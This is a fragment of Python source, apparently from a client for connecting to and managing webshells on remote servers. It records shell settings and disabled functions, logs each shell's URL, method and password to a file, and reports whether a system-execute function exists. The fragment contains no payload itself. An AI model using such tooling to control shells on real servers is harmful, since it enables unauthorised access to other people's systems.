        gset("webshell.directory_separator", info[8], namespace="webshell")
        gset("webshell.disable_functions",
             disable_function_list, namespace="webshell")
        root_path = gget("root_path")
        from_log = gget("webshell.from_log", "webshell")
        if not from_log:
            extra = "|".join(encoders_or_params) + \
                "|" if encoders_or_params else ""
            with open(path.join(root_path, "webshell.log"), "ab+") as f:
                text = f.read()
                if (text):
                    f.seek(-1, SEEK_END)
                    if f.read(1) != b"\n":
                        f.write(b"\n")
                f.write(f"{url}|{method}|{pwd}|{extra}\n".encode())
        else:
            gset("webshell.from_log", False, True, "webshell")
        print(color.cyan("Connect success...\n"))
        print_webshell_info()
        set_namespace("webshell", callback=False)
        update_prompt()
        if (exec_func == ''):
            print(color.red("No system execute function\n"))
        return True